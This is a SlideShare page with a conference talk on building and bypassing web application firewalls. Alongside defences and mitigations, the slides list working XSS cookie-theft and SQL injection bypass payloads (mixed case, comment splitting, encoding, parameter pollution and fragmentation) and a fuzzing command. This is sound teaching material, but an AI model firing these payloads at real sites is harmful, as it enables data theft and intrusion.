SlideShare ist ein Scribd-Unternehmen logo
1 von 33
Downloaden Sie, um offline zu lesen
Custom Web application
firewall for modern world
Whoamy
●
Antonio Costa aka Cooler_
●
Projects: Github.com/CoolerVoid
●
Contact: coolerlair@gmail.com
●
Cyber security engineer
●
Programmer/developer
●
13 years of work experience with pentest,
codereview, development, incident detection,
incident response and hardening.
Simple case
Request
GET /sell/cars.php?search=<script>alert(document.cookie)</
script >
Request rules
●
Full Match
●
Blocklist
●
Rank based
●
Regex
●
DFA
●
AI
●
ML
Other resources for rules
●
Block per IP adress
●
Leak mitigation(responses)
●
Insert anti-csrf tokens
●
Detect UserAgent anomaly
●
Strong blocklist
●
Denial of service
●
Force hardening in custom
endpoints Headers
HSTS, anti-xss, CSP, nosniff…
●
Insert cookie attributes, httponly
Secure...
Practical point view
●
Detection the type of WAF
●
Common attacks in WAF
●
Custom attacks to bypass WAF
●
Attack Mitigation in WAF
●
Attack Mitigation in application
●
Create your custom WAF
●
My OpenSource Projects
●
Attack and Protection!
Detection
You can search a pattern in cookie, header response…
Each WAF have a different context in response.
●
https://svn.nmap.org/nmap/scripts/http-waf-detect.nse
●
https://github.com/sandrogauci/wafw00f
●
http://code.google.com/p/imperva-detect/
Common attacks
●
WAFs can be configured to actively block requests and traffic that
violate the WAF rule-sets. This is a useful feature, but needs to be used
judiciously, an WAF that is in over-active blocking mode prevents
legitimate traffic from reaching the Web server, making the application
unusable.
●
Sometimes have a weak rules, that don’t match attacks to block.
Mixed case
●
Cool trick to bypass a common rule is mixed case, here the big
purpose is bypass absence of case sensitive rules.
●
SELECT, SeLect, selEcT… UnIOn, unIoN...
●
Look this following:
● /sell/cars.php?search=<script>alert(document.cookie)</script>
● /sell/cars.php?search=<SCripT>AlErt(DoCuMenT.cOoKie)</scrIpt>
Replace Keywords
●
Replace Keywords is common function in WAFs, this resource erase
critical points in attacks, but you can bypass this, you need a point to
insert attack word between payload.
●
Look this following:
● /cars_show.php?car_id=-30 UNIunionON SELselectECT 6,7,8,9
● /cars_show.php?car_id=-30 UNION SELECT 6,7,8,9
Spaces to comment
●
Replace points to comments is very good way to bypass WAF.
●
Look this following:
●
/sell/cars.php?search=id=1+UnIoN/*&a=*/SeLeCT/*&a=*/
1,2,3,database()– -
●
/sell/cars.php?search=id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!
●
table_name*/)+FrOM /*information_schema*/.tables /*!WHERE
*/+/*!TaBlE_ScHeMa*/+like+database()– -
Encode abuse
●
Other trick to bypass, is the abuse of encode, sometimes
application can render encoded strings...
●
Look this following:
<script>alert(document.cookie)</script>
●
Url encode:
%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E
●
64 encode:
PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ=
Buffer Overflow
●
When WAF service don’t have a proper validation in inputs, you can
see this problem in fuzzing tests...
●
Look this following:
●
/cars/id/page/=-25+and+(select
2)=(Select0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A...])+/*!UnIOn*/+/*!selECt*/+4,5,6,7…
●
id=2 and (select 2)=(Select 0xAAAAAAAAAAAAAAAAAAAAA...)
+uNIoN+seLecT+2,3,version()...
HTTP Parameter Pollution(HPP)
The following request doesn’t allow anyone to conduct an attack:
●
/?id=1;select+4,5,6+from+users+where+id=1--
●
This request will be successfully performed using HPP.
●
/?id=1;select+4&id=5,6+from+users+where+id=1--
●
Successful conduction of an HPP attack bypassing WAF depends on
the environment of the application being attacked
Using HTTP Parameter
Fragmentation (HPF)
execute_query("select * from table where a=".input_a." and b=".input_b);
execute_query("select * from table where a=".input_a." and b=".input_b."
limit ".input_c);
●
The following request doesn’t allow anyone to conduct an attack
●
/?a=1+union+select+1,2/*
These requests is a possible attack using HPF
●
/?a=1+union/*&b=*/select+1,2
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
• The SQL requests become
●
select * from table where a=1 union/* and b=*/select 1,2 select * from table
where a=1 union/* and b=*/select 1,pass/*limit */from users--
Time machine
●
Random delay each request
●
Random UserAgent per request
●
Random IP address per request(Proxy)
●
Bypass
Intrusion prevention system (IPS)
Web application firewall (WAF)
Automate
●
Project to change your list of payloads using a lot techniques to help bypass
a WAF.
●
https://github.com/CoolerVoid/payloadmask
Fuzzing / Brute
●
0d1n is a tool for automating customized attacks
against web applications.
●
Open Source
●
Use thread pool
●
Github.com/CoolerVoid/0d1n
Fuzzing / Brute
Fuzzing / Brute
●
0d1n –host http://localhost/test.php –post
”car_name_search=ˆ ” –payloads payloads/xss.txt
–find_regex_list payloads/guess.txt –log
name_log –save_response –tamper
urlencode -proxy-rand payloads/proxy.txt
Fuzzing / Brute
Application mitigations
●
Validation and proper sanitization(remove DOM, js, HTML…).
●
Prepared Statements (with Parameterized Queries).
●
Create a function that check a Block list with common words in
attacks (eval,timeout,union,--, select, delete, version,
benchmark, sleep, /**/...), set all string to lower case before
scan pattern.
●
Study your ORM(SQLalchemy, Hibernate...) to prevent pitfalls
in resources.
●
Follow Mitre and OWASP tricks to hardening etc...
Create your WAF
Create your WAF
●
Study five years around sockets and
raw sockets
●
Demultiplexer problems
(select(), epoll(),
kqueue(), pthreads(), MPI…)
●
Race conditions
●
Testing a lot list of libraries
libuv(used by node)
libevent(old lib for core of nginx)
Python Twisted
Create your WAF
●
WAF from the scratch RaptorWAF
●
Demultiplexer use select() with
pthreads
●
Have a problem, race conditions
in millions connections(lock with
mutex cannot save).
●
Easy to understand
●
Github.com/CoolerVoid/RaptorWAF
Create your WAF
●
Pthread tests
●
Libevent study
●
Lighthttpd core study
●
The big travel...
Create your WAF
●
OctopusWAF
●
Uses LibEvent
●
Have support to heavy connections
●
Uses lib Injection to detect SQLi
●
Github.com/CoolerVoid/OctopusWAF
Create your WAF
Detections
Detections
●
Machine learning
●
Natural language
●
IA
●
Score based
●
Uploads
(binary checks)
Questions ?
Thank you
Contact: coolerlair@gmail.com

Weitere ähnliche Inhalte

Was ist angesagt?

What Goes In Must Come Out: Egress-Assess and Data Exfiltration
What Goes In Must Come Out: Egress-Assess and Data ExfiltrationWhat Goes In Must Come Out: Egress-Assess and Data Exfiltration
What Goes In Must Come Out: Egress-Assess and Data ExfiltrationCTruncer
 
The Supporting Role of Antivirus Evasion while Persisting
The Supporting Role of Antivirus Evasion while PersistingThe Supporting Role of Antivirus Evasion while Persisting
The Supporting Role of Antivirus Evasion while PersistingCTruncer
 
Indicators of compromise: From malware analysis to eradication
Indicators of compromise: From malware analysis to eradicationIndicators of compromise: From malware analysis to eradication
Indicators of compromise: From malware analysis to eradicationMichael Boman
 
Art of Web Backdoor - Pichaya Morimoto
Art of Web Backdoor - Pichaya MorimotoArt of Web Backdoor - Pichaya Morimoto
Art of Web Backdoor - Pichaya MorimotoPichaya Morimoto
 
Механизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CoreМеханизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CorePositive Development User Group
 
Advanced Debugging with WinDbg and SOS
Advanced Debugging with WinDbg and SOSAdvanced Debugging with WinDbg and SOS
Advanced Debugging with WinDbg and SOSSasha Goldshtein
 
RIPS - static code analyzer for vulnerabilities in PHP
RIPS - static code analyzer for vulnerabilities in PHPRIPS - static code analyzer for vulnerabilities in PHP
RIPS - static code analyzer for vulnerabilities in PHPSorina Chirilă
 
BH Arsenal '14 TurboTalk: The Veil-framework
BH Arsenal '14 TurboTalk: The Veil-frameworkBH Arsenal '14 TurboTalk: The Veil-framework
BH Arsenal '14 TurboTalk: The Veil-frameworkVeilFramework
 
44CON London 2015 - Is there an EFI monster inside your apple?
44CON London 2015 - Is there an EFI monster inside your apple?44CON London 2015 - Is there an EFI monster inside your apple?
44CON London 2015 - Is there an EFI monster inside your apple?44CON
 
How to drive a malware analyst crazy
How to drive a malware analyst crazyHow to drive a malware analyst crazy
How to drive a malware analyst crazyMichael Boman
 
FUZZING & SOFTWARE SECURITY TESTING
FUZZING & SOFTWARE SECURITY TESTINGFUZZING & SOFTWARE SECURITY TESTING
FUZZING & SOFTWARE SECURITY TESTINGMuH4f1Z
 
Porting your favourite cmdline tool to Android
Porting your favourite cmdline tool to AndroidPorting your favourite cmdline tool to Android
Porting your favourite cmdline tool to AndroidVlatko Kosturjak
 
Introduction of ShinoBOT (Black Hat USA 2013 Arsenal)
Introduction of ShinoBOT (Black Hat USA 2013 Arsenal)Introduction of ShinoBOT (Black Hat USA 2013 Arsenal)
Introduction of ShinoBOT (Black Hat USA 2013 Arsenal)Shota Shinogi
 
Nullcon Hack IM 2011 walk through
Nullcon Hack IM 2011 walk throughNullcon Hack IM 2011 walk through
Nullcon Hack IM 2011 walk throughAnant Shrivastava
 

Was ist angesagt? (19)

What Goes In Must Come Out: Egress-Assess and Data Exfiltration
What Goes In Must Come Out: Egress-Assess and Data ExfiltrationWhat Goes In Must Come Out: Egress-Assess and Data Exfiltration
What Goes In Must Come Out: Egress-Assess and Data Exfiltration
 
The Supporting Role of Antivirus Evasion while Persisting
The Supporting Role of Antivirus Evasion while PersistingThe Supporting Role of Antivirus Evasion while Persisting
The Supporting Role of Antivirus Evasion while Persisting
 
Indicators of compromise: From malware analysis to eradication
Indicators of compromise: From malware analysis to eradicationIndicators of compromise: From malware analysis to eradication
Indicators of compromise: From malware analysis to eradication
 
Art of Web Backdoor - Pichaya Morimoto
Art of Web Backdoor - Pichaya MorimotoArt of Web Backdoor - Pichaya Morimoto
Art of Web Backdoor - Pichaya Morimoto
 
Os Cook
Os CookOs Cook
Os Cook
 
Механизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CoreМеханизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET Core
 
Advanced Debugging with WinDbg and SOS
Advanced Debugging with WinDbg and SOSAdvanced Debugging with WinDbg and SOS
Advanced Debugging with WinDbg and SOS
 
Stealth post-exploitation with phpsploit
Stealth post-exploitation with phpsploitStealth post-exploitation with phpsploit
Stealth post-exploitation with phpsploit
 
RIPS - static code analyzer for vulnerabilities in PHP
RIPS - static code analyzer for vulnerabilities in PHPRIPS - static code analyzer for vulnerabilities in PHP
RIPS - static code analyzer for vulnerabilities in PHP
 
BH Arsenal '14 TurboTalk: The Veil-framework
BH Arsenal '14 TurboTalk: The Veil-frameworkBH Arsenal '14 TurboTalk: The Veil-framework
BH Arsenal '14 TurboTalk: The Veil-framework
 
Nginx warhead
Nginx warheadNginx warhead
Nginx warhead
 
44CON London 2015 - Is there an EFI monster inside your apple?
44CON London 2015 - Is there an EFI monster inside your apple?44CON London 2015 - Is there an EFI monster inside your apple?
44CON London 2015 - Is there an EFI monster inside your apple?
 
How to Setup A Pen test Lab and How to Play CTF
How to Setup A Pen test Lab and How to Play CTF How to Setup A Pen test Lab and How to Play CTF
How to Setup A Pen test Lab and How to Play CTF
 
How to drive a malware analyst crazy
How to drive a malware analyst crazyHow to drive a malware analyst crazy
How to drive a malware analyst crazy
 
FUZZING & SOFTWARE SECURITY TESTING
FUZZING & SOFTWARE SECURITY TESTINGFUZZING & SOFTWARE SECURITY TESTING
FUZZING & SOFTWARE SECURITY TESTING
 
Porting your favourite cmdline tool to Android
Porting your favourite cmdline tool to AndroidPorting your favourite cmdline tool to Android
Porting your favourite cmdline tool to Android
 
Buffer overflow null
Buffer overflow nullBuffer overflow null
Buffer overflow null
 
Introduction of ShinoBOT (Black Hat USA 2013 Arsenal)
Introduction of ShinoBOT (Black Hat USA 2013 Arsenal)Introduction of ShinoBOT (Black Hat USA 2013 Arsenal)
Introduction of ShinoBOT (Black Hat USA 2013 Arsenal)
 
Nullcon Hack IM 2011 walk through
Nullcon Hack IM 2011 walk throughNullcon Hack IM 2011 walk through
Nullcon Hack IM 2011 walk through
 

Ähnlich wie WAF protections and bypass resources

API Upload Test
API Upload TestAPI Upload Test
API Upload Testdecatv
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Testdecatv
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Testdecatv
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Testdecatv
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Testdecatv
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Testdecatv
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Testdecatv
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Testdecatv
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Testdecatv
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Testdecatv
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Testdecatv
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Testdecatv
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Testdecatv
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Testdecatv
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Testdecatv
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Testdecatv
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Testdecatv
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Testdecatv
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Testdecatv
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Testdecatv
 

Ähnlich wie WAF protections and bypass resources (20)

API Upload Test
API Upload TestAPI Upload Test
API Upload Test
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Test
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Test
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Test
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Test
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Test
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Test
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Test
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Test
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Test
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Test
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Test
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Test
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Test
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Test
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Test
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Test
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Test
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Test
 
API Upload Test
API Upload TestAPI Upload Test
API Upload Test
 

Mehr von Antonio Costa aka Cooler_ (10)

Strange security mitigations
Strange security mitigationsStrange security mitigations
Strange security mitigations
 
Improving spam detection with automaton
Improving spam detection with automatonImproving spam detection with automaton
Improving spam detection with automaton
 
Burlando Waf 2.0
Burlando Waf  2.0Burlando Waf  2.0
Burlando Waf 2.0
 
burlando um WAF
burlando um WAFburlando um WAF
burlando um WAF
 
Development pitfalls
Development pitfallsDevelopment pitfalls
Development pitfalls
 
0d1n bsides2
0d1n bsides20d1n bsides2
0d1n bsides2
 
Vivendo de hacking
Vivendo de hackingVivendo de hacking
Vivendo de hacking
 
Bsides odin
Bsides odinBsides odin
Bsides odin
 
Bsides4cooler
Bsides4coolerBsides4cooler
Bsides4cooler
 
detector de ladrão com laser
detector de ladrão com laserdetector de ladrão com laser
detector de ladrão com laser
 

Kürzlich hochgeladen

Summer training report on BUILDING CONSTRUCTION for DIPLOMA Students.pdf
Summer training report on BUILDING CONSTRUCTION for DIPLOMA Students.pdfSummer training report on BUILDING CONSTRUCTION for DIPLOMA Students.pdf
Summer training report on BUILDING CONSTRUCTION for DIPLOMA Students.pdfNaveenVerma126
 
Renewable Energy & Entrepreneurship Workshop_21Feb2024.pdf
Renewable Energy & Entrepreneurship Workshop_21Feb2024.pdfRenewable Energy & Entrepreneurship Workshop_21Feb2024.pdf
Renewable Energy & Entrepreneurship Workshop_21Feb2024.pdfodunowoeminence2019
 
Clutches and brkesSelect any 3 position random motion out of real world and d...
Clutches and brkesSelect any 3 position random motion out of real world and d...Clutches and brkesSelect any 3 position random motion out of real world and d...
Clutches and brkesSelect any 3 position random motion out of real world and d...sahb78428
 
Quantitative Risk Assessment | QRA | Risk Assessment | Gaurav Singh Rajput
Quantitative Risk Assessment | QRA | Risk Assessment | Gaurav Singh RajputQuantitative Risk Assessment | QRA | Risk Assessment | Gaurav Singh Rajput
Quantitative Risk Assessment | QRA | Risk Assessment | Gaurav Singh RajputGaurav Singh Rajput
 
Transforming Process Safety Management: Challenges, Benefits, and Transition ...
Transforming Process Safety Management: Challenges, Benefits, and Transition ...Transforming Process Safety Management: Challenges, Benefits, and Transition ...
Transforming Process Safety Management: Challenges, Benefits, and Transition ...soginsider
 
ingles nivel 3 ucv 2024 - modulo 3 _ppt2
ingles nivel 3 ucv 2024 - modulo 3 _ppt2ingles nivel 3 ucv 2024 - modulo 3 _ppt2
ingles nivel 3 ucv 2024 - modulo 3 _ppt2nhuayllav
 
Test of Significance of Large Samples for Mean = µ.pptx
Test of Significance of Large Samples for Mean = µ.pptxTest of Significance of Large Samples for Mean = µ.pptx
Test of Significance of Large Samples for Mean = µ.pptxHome
 
Dev.bg DevOps March 2024 Monitoring & Logging
Dev.bg DevOps March 2024 Monitoring & LoggingDev.bg DevOps March 2024 Monitoring & Logging
Dev.bg DevOps March 2024 Monitoring & LoggingMarian Marinov
 
Guardians and Glitches: Navigating the Duality of Gen AI in AppSec
Guardians and Glitches: Navigating the Duality of Gen AI in AppSecGuardians and Glitches: Navigating the Duality of Gen AI in AppSec
Guardians and Glitches: Navigating the Duality of Gen AI in AppSecTrupti Shiralkar, CISSP
 
IT3401-WEB ESSENTIALS PRESENTATIONS.pptx
IT3401-WEB ESSENTIALS PRESENTATIONS.pptxIT3401-WEB ESSENTIALS PRESENTATIONS.pptx
IT3401-WEB ESSENTIALS PRESENTATIONS.pptxSAJITHABANUS
 
Lifting Plan | Lifting Plan for Different Process Equipment | Gaurav Singh Ra...
Lifting Plan | Lifting Plan for Different Process Equipment | Gaurav Singh Ra...Lifting Plan | Lifting Plan for Different Process Equipment | Gaurav Singh Ra...
Lifting Plan | Lifting Plan for Different Process Equipment | Gaurav Singh Ra...Gaurav Singh Rajput
 
nvidia AI-gtc 2024 partial slide deck.pptx
nvidia AI-gtc 2024 partial slide deck.pptxnvidia AI-gtc 2024 partial slide deck.pptx
nvidia AI-gtc 2024 partial slide deck.pptxjasonsedano2
 
Popular-NO1 Kala Jadu Expert Specialist In Germany Kala Jadu Expert Specialis...
Popular-NO1 Kala Jadu Expert Specialist In Germany Kala Jadu Expert Specialis...Popular-NO1 Kala Jadu Expert Specialist In Germany Kala Jadu Expert Specialis...
Popular-NO1 Kala Jadu Expert Specialist In Germany Kala Jadu Expert Specialis...Amil baba
 
Vertical- Machining - Center - VMC -LMW-Machine-Tool-Division.pptx
Vertical- Machining - Center - VMC -LMW-Machine-Tool-Division.pptxVertical- Machining - Center - VMC -LMW-Machine-Tool-Division.pptx
Vertical- Machining - Center - VMC -LMW-Machine-Tool-Division.pptxLMW Machine Tool Division
 
ChatGPT-and-Generative-AI-Landscape Working of generative ai search
ChatGPT-and-Generative-AI-Landscape Working of generative ai searchChatGPT-and-Generative-AI-Landscape Working of generative ai search
ChatGPT-and-Generative-AI-Landscape Working of generative ai searchrohitcse52
 
SATELITE COMMUNICATION UNIT 1 CEC352 REGULATION 2021 PPT BASICS OF SATELITE ....
SATELITE COMMUNICATION UNIT 1 CEC352 REGULATION 2021 PPT BASICS OF SATELITE ....SATELITE COMMUNICATION UNIT 1 CEC352 REGULATION 2021 PPT BASICS OF SATELITE ....
SATELITE COMMUNICATION UNIT 1 CEC352 REGULATION 2021 PPT BASICS OF SATELITE ....santhyamuthu1
 
Lecture 1: Basics of trigonometry (surveying)
Lecture 1: Basics of trigonometry (surveying)Lecture 1: Basics of trigonometry (surveying)
Lecture 1: Basics of trigonometry (surveying)Bahzad5
 

Kürzlich hochgeladen (20)

Summer training report on BUILDING CONSTRUCTION for DIPLOMA Students.pdf
Summer training report on BUILDING CONSTRUCTION for DIPLOMA Students.pdfSummer training report on BUILDING CONSTRUCTION for DIPLOMA Students.pdf
Summer training report on BUILDING CONSTRUCTION for DIPLOMA Students.pdf
 
Renewable Energy & Entrepreneurship Workshop_21Feb2024.pdf
Renewable Energy & Entrepreneurship Workshop_21Feb2024.pdfRenewable Energy & Entrepreneurship Workshop_21Feb2024.pdf
Renewable Energy & Entrepreneurship Workshop_21Feb2024.pdf
 
Clutches and brkesSelect any 3 position random motion out of real world and d...
Clutches and brkesSelect any 3 position random motion out of real world and d...Clutches and brkesSelect any 3 position random motion out of real world and d...
Clutches and brkesSelect any 3 position random motion out of real world and d...
 
Quantitative Risk Assessment | QRA | Risk Assessment | Gaurav Singh Rajput
Quantitative Risk Assessment | QRA | Risk Assessment | Gaurav Singh RajputQuantitative Risk Assessment | QRA | Risk Assessment | Gaurav Singh Rajput
Quantitative Risk Assessment | QRA | Risk Assessment | Gaurav Singh Rajput
 
Présentation IIRB 2024 Chloe Dufrane.pdf
Présentation IIRB 2024 Chloe Dufrane.pdfPrésentation IIRB 2024 Chloe Dufrane.pdf
Présentation IIRB 2024 Chloe Dufrane.pdf
 
Transforming Process Safety Management: Challenges, Benefits, and Transition ...
Transforming Process Safety Management: Challenges, Benefits, and Transition ...Transforming Process Safety Management: Challenges, Benefits, and Transition ...
Transforming Process Safety Management: Challenges, Benefits, and Transition ...
 
ingles nivel 3 ucv 2024 - modulo 3 _ppt2
ingles nivel 3 ucv 2024 - modulo 3 _ppt2ingles nivel 3 ucv 2024 - modulo 3 _ppt2
ingles nivel 3 ucv 2024 - modulo 3 _ppt2
 
Test of Significance of Large Samples for Mean = µ.pptx
Test of Significance of Large Samples for Mean = µ.pptxTest of Significance of Large Samples for Mean = µ.pptx
Test of Significance of Large Samples for Mean = µ.pptx
 
Dev.bg DevOps March 2024 Monitoring & Logging
Dev.bg DevOps March 2024 Monitoring & LoggingDev.bg DevOps March 2024 Monitoring & Logging
Dev.bg DevOps March 2024 Monitoring & Logging
 
Guardians and Glitches: Navigating the Duality of Gen AI in AppSec
Guardians and Glitches: Navigating the Duality of Gen AI in AppSecGuardians and Glitches: Navigating the Duality of Gen AI in AppSec
Guardians and Glitches: Navigating the Duality of Gen AI in AppSec
 
IT3401-WEB ESSENTIALS PRESENTATIONS.pptx
IT3401-WEB ESSENTIALS PRESENTATIONS.pptxIT3401-WEB ESSENTIALS PRESENTATIONS.pptx
IT3401-WEB ESSENTIALS PRESENTATIONS.pptx
 
Lifting Plan | Lifting Plan for Different Process Equipment | Gaurav Singh Ra...
Lifting Plan | Lifting Plan for Different Process Equipment | Gaurav Singh Ra...Lifting Plan | Lifting Plan for Different Process Equipment | Gaurav Singh Ra...
Lifting Plan | Lifting Plan for Different Process Equipment | Gaurav Singh Ra...
 
nvidia AI-gtc 2024 partial slide deck.pptx
nvidia AI-gtc 2024 partial slide deck.pptxnvidia AI-gtc 2024 partial slide deck.pptx
nvidia AI-gtc 2024 partial slide deck.pptx
 
Popular-NO1 Kala Jadu Expert Specialist In Germany Kala Jadu Expert Specialis...
Popular-NO1 Kala Jadu Expert Specialist In Germany Kala Jadu Expert Specialis...Popular-NO1 Kala Jadu Expert Specialist In Germany Kala Jadu Expert Specialis...
Popular-NO1 Kala Jadu Expert Specialist In Germany Kala Jadu Expert Specialis...
 
Présentation IIRB 2024 Marine Cordonnier.pdf
Présentation IIRB 2024 Marine Cordonnier.pdfPrésentation IIRB 2024 Marine Cordonnier.pdf
Présentation IIRB 2024 Marine Cordonnier.pdf
 
Vertical- Machining - Center - VMC -LMW-Machine-Tool-Division.pptx
Vertical- Machining - Center - VMC -LMW-Machine-Tool-Division.pptxVertical- Machining - Center - VMC -LMW-Machine-Tool-Division.pptx
Vertical- Machining - Center - VMC -LMW-Machine-Tool-Division.pptx
 
ChatGPT-and-Generative-AI-Landscape Working of generative ai search
ChatGPT-and-Generative-AI-Landscape Working of generative ai searchChatGPT-and-Generative-AI-Landscape Working of generative ai search
ChatGPT-and-Generative-AI-Landscape Working of generative ai search
 
SATELITE COMMUNICATION UNIT 1 CEC352 REGULATION 2021 PPT BASICS OF SATELITE ....
SATELITE COMMUNICATION UNIT 1 CEC352 REGULATION 2021 PPT BASICS OF SATELITE ....SATELITE COMMUNICATION UNIT 1 CEC352 REGULATION 2021 PPT BASICS OF SATELITE ....
SATELITE COMMUNICATION UNIT 1 CEC352 REGULATION 2021 PPT BASICS OF SATELITE ....
 
Lecture 4 .pdf
Lecture 4                              .pdfLecture 4                              .pdf
Lecture 4 .pdf
 
Lecture 1: Basics of trigonometry (surveying)
Lecture 1: Basics of trigonometry (surveying)Lecture 1: Basics of trigonometry (surveying)
Lecture 1: Basics of trigonometry (surveying)
 

WAF protections and bypass resources

  • 2. Whoamy ● Antonio Costa aka Cooler_ ● Projects: Github.com/CoolerVoid ● Contact: coolerlair@gmail.com ● Cyber security engineer ● Programmer/developer ● 13 years of work experience with pentest, codereview, development, incident detection, incident response and hardening.
  • 5. Request rules ● Full Match ● Blocklist ● Rank based ● Regex ● DFA ● AI ● ML
  • 6. Other resources for rules ● Block per IP adress ● Leak mitigation(responses) ● Insert anti-csrf tokens ● Detect UserAgent anomaly ● Strong blocklist ● Denial of service ● Force hardening in custom endpoints Headers HSTS, anti-xss, CSP, nosniff… ● Insert cookie attributes, httponly Secure...
  • 7. Practical point view ● Detection the type of WAF ● Common attacks in WAF ● Custom attacks to bypass WAF ● Attack Mitigation in WAF ● Attack Mitigation in application ● Create your custom WAF ● My OpenSource Projects ● Attack and Protection!
  • 8. Detection You can search a pattern in cookie, header response… Each WAF have a different context in response. ● https://svn.nmap.org/nmap/scripts/http-waf-detect.nse ● https://github.com/sandrogauci/wafw00f ● http://code.google.com/p/imperva-detect/
  • 9. Common attacks ● WAFs can be configured to actively block requests and traffic that violate the WAF rule-sets. This is a useful feature, but needs to be used judiciously, an WAF that is in over-active blocking mode prevents legitimate traffic from reaching the Web server, making the application unusable. ● Sometimes have a weak rules, that don’t match attacks to block.
  • 10. Mixed case ● Cool trick to bypass a common rule is mixed case, here the big purpose is bypass absence of case sensitive rules. ● SELECT, SeLect, selEcT… UnIOn, unIoN... ● Look this following: ● /sell/cars.php?search=<script>alert(document.cookie)</script> ● /sell/cars.php?search=<SCripT>AlErt(DoCuMenT.cOoKie)</scrIpt>
  • 11. Replace Keywords ● Replace Keywords is common function in WAFs, this resource erase critical points in attacks, but you can bypass this, you need a point to insert attack word between payload. ● Look this following: ● /cars_show.php?car_id=-30 UNIunionON SELselectECT 6,7,8,9 ● /cars_show.php?car_id=-30 UNION SELECT 6,7,8,9
  • 12. Spaces to comment ● Replace points to comments is very good way to bypass WAF. ● Look this following: ● /sell/cars.php?search=id=1+UnIoN/*&a=*/SeLeCT/*&a=*/ 1,2,3,database()– - ● /sell/cars.php?search=id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*! ● table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -
  • 13. Encode abuse ● Other trick to bypass, is the abuse of encode, sometimes application can render encoded strings... ● Look this following: <script>alert(document.cookie)</script> ● Url encode: %3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E ● 64 encode: PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ=
  • 14. Buffer Overflow ● When WAF service don’t have a proper validation in inputs, you can see this problem in fuzzing tests... ● Look this following: ● /cars/id/page/=-25+and+(select 2)=(Select0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A...])+/*!UnIOn*/+/*!selECt*/+4,5,6,7… ● id=2 and (select 2)=(Select 0xAAAAAAAAAAAAAAAAAAAAA...) +uNIoN+seLecT+2,3,version()...
  • 15. HTTP Parameter Pollution(HPP) The following request doesn’t allow anyone to conduct an attack: ● /?id=1;select+4,5,6+from+users+where+id=1-- ● This request will be successfully performed using HPP. ● /?id=1;select+4&id=5,6+from+users+where+id=1-- ● Successful conduction of an HPP attack bypassing WAF depends on the environment of the application being attacked
  • 16. Using HTTP Parameter Fragmentation (HPF) execute_query("select * from table where a=".input_a." and b=".input_b); execute_query("select * from table where a=".input_a." and b=".input_b." limit ".input_c); ● The following request doesn’t allow anyone to conduct an attack ● /?a=1+union+select+1,2/* These requests is a possible attack using HPF ● /?a=1+union/*&b=*/select+1,2 /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users-- • The SQL requests become ● select * from table where a=1 union/* and b=*/select 1,2 select * from table where a=1 union/* and b=*/select 1,pass/*limit */from users--
  • 17. Time machine ● Random delay each request ● Random UserAgent per request ● Random IP address per request(Proxy) ● Bypass Intrusion prevention system (IPS) Web application firewall (WAF)
  • 18. Automate ● Project to change your list of payloads using a lot techniques to help bypass a WAF. ● https://github.com/CoolerVoid/payloadmask
  • 19. Fuzzing / Brute ● 0d1n is a tool for automating customized attacks against web applications. ● Open Source ● Use thread pool ● Github.com/CoolerVoid/0d1n
  • 21. Fuzzing / Brute ● 0d1n –host http://localhost/test.php –post ”car_name_search=ˆ ” –payloads payloads/xss.txt –find_regex_list payloads/guess.txt –log name_log –save_response –tamper urlencode -proxy-rand payloads/proxy.txt
  • 23. Application mitigations ● Validation and proper sanitization(remove DOM, js, HTML…). ● Prepared Statements (with Parameterized Queries). ● Create a function that check a Block list with common words in attacks (eval,timeout,union,--, select, delete, version, benchmark, sleep, /**/...), set all string to lower case before scan pattern. ● Study your ORM(SQLalchemy, Hibernate...) to prevent pitfalls in resources. ● Follow Mitre and OWASP tricks to hardening etc...
